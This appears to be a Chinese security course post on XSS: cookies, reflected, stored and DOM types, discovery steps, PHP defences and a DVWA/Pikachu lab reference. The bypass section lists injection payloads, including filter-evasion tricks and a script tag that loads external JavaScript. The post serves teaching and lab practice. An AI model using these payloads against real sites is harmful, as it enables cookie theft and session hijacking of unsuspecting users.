网络安全进阶学习第二课——XSS漏洞

文章目录

  • 一、前端安全
    • 1、什么是前端安全
    • 2、什么是Cookie
    • 3、Cookie的功能
    • 4、Cookie的生命周期
    • 5、常用的查看cookie插件
    • 6、XSS攻击能做什么
  • 二、常被利用的前端代码
  • 三、JavaScript中常见的对象
  • 四、XSS原理
  • 五、XSS危害
  • 六、作为一名渗透人员(黑客)如何去挖掘XSS漏洞?
  • 七、XSS的分类与利用
    • 1、XSS实验常用语句
    • 2、反射型(非持续型)
      • 原理
    • 3、存储型(持续型)
      • 3.1、交互原理:
      • 3.2、数据库查看
    • 4、DOM型
  • 八、XSS漏洞绕过方法
    • 1、XSS常见语句
    • 2、XSS漏洞绕过方法
  • 九、XSS漏洞之防御
    • 1、防御手段
    • 2、防御函数(PHP)
  • 十一、具体靶场例子


一、前端安全

1、什么是前端安全

首先了解什么是前端。前端从定义上来讲是指一个网站的前台部分,是展示给用户看的部分。它不需要关注任何业务之间的逻辑处理,只需要安安静静地做好自己,老老实实的把自己最美的一面展示给用户。

2、什么是Cookie

Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。无论何时用户链接到服务器,Web 站点都可以访问 Cookie 信息 。

Cookie 是临时的或者是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间。

持续的 Cookie 则保存在用户的 Cookie 文件中,下一次用户返回时,仍然可以对它进行调用。在 Cookie 文件中保存 Cookie,有些用户担心 Cookie 中的用户信息被一些别有用心的人窃取,而造成一定的损害。其实,网站以外的用户无法跨过网站来获得 Cookie 信息。如果因为这种担心而屏蔽 Cookie,肯定会因此拒绝访问许多站点页面。因为,当今有许多 Web 站点开发人员使用 Cookie 技术,例如 Session 对象的使用就离不开 Cookie 的支持。

3、Cookie的功能

服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。

4、Cookie的生命周期

Cookie可以保持登录信息到用户下次与服务器的会话,换句话说,下次访问同一网站时,用户会发现不必输入用户名和密码就已经登录了(当然,不排除用户手工删除Cookie)。而还有一些Cookie在用户退出会话的时候就被删除了,这样可以有效保护个人隐私。

Cookie在生成时就会被指定一个Expire值,这就是Cookie的生存周期,在这个周期内Cookie有效。

5、常用的查看cookie插件

Cookie Quick Manager

6、XSS攻击能做什么

劫持cookie,模拟用户操作,钓鱼


二、常被利用的前端代码

1. <script>Javascript的内容</script>

2. 弹框函数:
alert(“文本”)       #只有一个确定的提示框
confirm(“文本”)   #拥有确定和取消的提示框
prompt(“文本”, “默认值”) #可以输入文字的框

3. JavaScript中的事件
<a href=“demo.html” 事件="alert('1');">test</a>
事件:
onmouseover:鼠标移入目标元素上方。鼠标移到其后代元素上时会触发。
onmouseout:鼠标移出目标元素上方。
onmouseenter:鼠标移入元素范围内触发,该事件不冒泡
onmouseleave:鼠标移出元素范围时触发,该事件不冒泡

4. <img src="" onerror=JS代码”/>
src:图片的来源,必写属性;
当图片加载失败时触发onerror的事件;

三、JavaScript中常见的对象

Document:
document.cookie返回cookie的值
document.location.href 跳转至某个页面
document.write 在页面中写入

String:
indexOf 返回某个指定的字符串值在字符串中首次出现的位置
对大小写敏感,没有发现时返回-1
length 返回字符串的长度

四、XSS原理

XSS又叫CSS(Cross Site Script),跨站脚本攻击。因为与html中的css样式同,所以称之为XSS。在OWASP top 10 2013年度中排第三名,在OWASP top 10 2017年度中排第7名。

属于web应用中计算机安全漏洞,是恶意的web访问者将脚本植入到提供给用户使用的页面中,通常是使用JavaScript编写的危险代码,当用户使用浏览器访问页面时,脚本会被执行,从而达到攻击者目的。

XSS攻击最终目的是在网页中嵌入客户端恶意代码,最常用的攻击代码是JavaScript语言,但也会使用其他的脚本语言,例如:ActionScript、VBScript。而如今的互联网客户端脚本基本上是基于JavaScript,所以如果想要深入研究XSS,必须要精通JavaScript。

XSS换句话说,JavaScript能够到什么效果,XSS的胃里就有多大。这完全不是危言耸听。JavaScript可以用于获取用户的cookie,弹出窗口,那么存在XSS漏洞的网站,XSS就可以用来盗取用户cookie,废掉页面,导航到恶意网站!更高端的XSS代码完全可以进行监控你的键盘操作,模仿windows注销界面,诱导你输入开机密码!而攻击者需要做的仅仅是向你的代码中注入JavaScript代码!


五、XSS危害

  1. 网站弹框(刷流量)
  2. 网站挂马
  3. 会话劫持
  4. Cookie被盗取
  5. 用户提权
  6. 账号被盗
  7. 尽量DDOS
  8. 蠕虫攻击

六、作为一名渗透人员(黑客)如何去挖掘XSS漏洞?

  1. 寻找注入点,数据有交互的地方(搜索框、留言板)
  2. 根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。例子:'<>?"&/6666
  3. 如果有过滤则进行相关的绕过。

七、XSS的分类与利用

1、XSS实验常用语句

2、反射型(非持续型)

反射型跨站脚本也称作非持久型、参数型跨站脚本。主要用于将恶意脚本附加到URL地址的参数中。

产生层面:前端
漏洞特征:一次性的、前端执行、不会储存在后端数据库
危害等级:中
注意:在黑客眼中,这个实际上没啥用,就是自己骗自己,影响只对自己有用,对其他人没效果。

原理

  1. 构造一个后端php文件( xss.php ):

  2. 前端访问这个xss.php页面,并使用name参数进行数据传递,数据值为2。
    例如在浏览器url栏输入:ip地址/xss.php?name=2

  3. 前端识别数据执行代码返回页面。
    数据交互过程:用户输入数据->后端执行php->返回数据给前端并执行(回显)

  4. 插入一个恶意js脚本()
    例如在浏览器url栏输入:
    ip地址/xss.php?name=

  5. 返回的代码并执行了

3、存储型(持续型)

此类XSS不需要用户单击特定URL就能执行跨站脚本。

攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中。

当受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。

产生层面:后端
漏洞特征:持久性的、前端执行、储存在后端数据库
危害等级:高

3.1、交互原理:

用户输入数据->后端执行php代码->存入数据库某张表->返回数据给php页面->回显前端

3.2、数据库查看

die()				//函数输出一条消息,并退出当前脚本
trim()               //函数从字符串的两端删除空白字符和其他预定义字符
stripslashes()          	//删除反斜杠
mysql_real_escape_string()  //转义 SQL 语句中使用的字符串中的特殊字符
mysql_query(query)       //mysql_query() 函数执行一条 MySQL 查询
mysql_error()			//返回上一个 MySQL 操作产生的文本错误信息
use dvwa;
show tables;
select * from guestbook;
delete from guestbook where comment_id=1;

4、DOM型

XSS原理客户端的脚本程序可以通过DOM动态地检查和修改页面内容。

程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。

浏览器用户可以操纵DOM中的一些对象,例如URL、location等。

用户在客户端输入的数据如果包含了恶意JavaScript脚本,而这些脚本没有经过适当的过滤和消毒,应用程序就可能受到基于DOM的XSS攻击。

产生层面:前端、特殊的反射型XSS
漏洞特征:一次性的、前端执行、不会储存在后端数据库
危害等级:中


八、XSS漏洞绕过方法

1、XSS常见语句

1.1、常见XSS语句标签,<script>
1<script>alert(1)</script>
2<script src=http://baidu.cn/xss/xss.js></script>
3)‘><script>alert(1)</script>

1.2、常见XSS语句标签,<img>
1<img src=x onerror=alert(/xss/)>
2<img src=javascript:alert(1)>//版本,E7.0|IE6.0,才能执行
3<img src=# onmouseover="alert(1)">

1.3、常见XSS语句标签,<input>
1<input onclick=alert(360)>
2<input onfocus="alert('xss');">
3<input onblur=alert("xss") autofocus><input autofocus>离开竞争焦点,从而触发onblur事件

1.4XSS 闭合标签
1)'><script>alert(1)</script>
2</script><script>alert(1)</script>

2、XSS漏洞绕过方法

1)大小写绕过	  		<ScRiPt>alert(1)</ScRiPt>
2)双写绕过		  	<sc<script>ript>alert(/xss/)</script>
3)反引号绕过			`` 绕过单双引号的过滤
4)关闭标签(利用<>关闭标签)          "> <script>alert(1)</script>
5)超链接标签			< a href= > 1 </ a>
6)图片链接绕过			< img src=1 onerror=alert(1)>
7)编码绕过(八进制、十进制、十六进制编码、html实体编码、url编码、base64) 
8)空格、回车、换行符、tab、混淆
..................

九、XSS漏洞之防御

1、防御手段

  1. CSP内容安全策略
  2. HttpOnly
  3. 输入输出检查

2、防御函数(PHP)

1trim()
//函数从字符串的两端删除空白字符和其他预定义字符

2stripslashes()
//删除反斜杠

3substr_replace(st1,st2,n) 
//str1 为原始字符串,str2为替换的字符串,n代表替换位置,第n位之后替换

4addslashes() 
//在预定义字符之前添加反斜杠的字符串

5strip_tags()
//剥去字符串中的 HTML、XML 以及 PHP 的标签

6htmlspecialchars()
//把预定义的字符转换为 HTML 实体

7preg_replace($mode,$replacement,$str [,int limit 匹配多少次])
//查找和替换子字符串(类似str_replace)
..................

十一、具体靶场例子

链接: pikache靶场通关——XSS漏洞


你可能感兴趣的:(web安全,web安全,xss)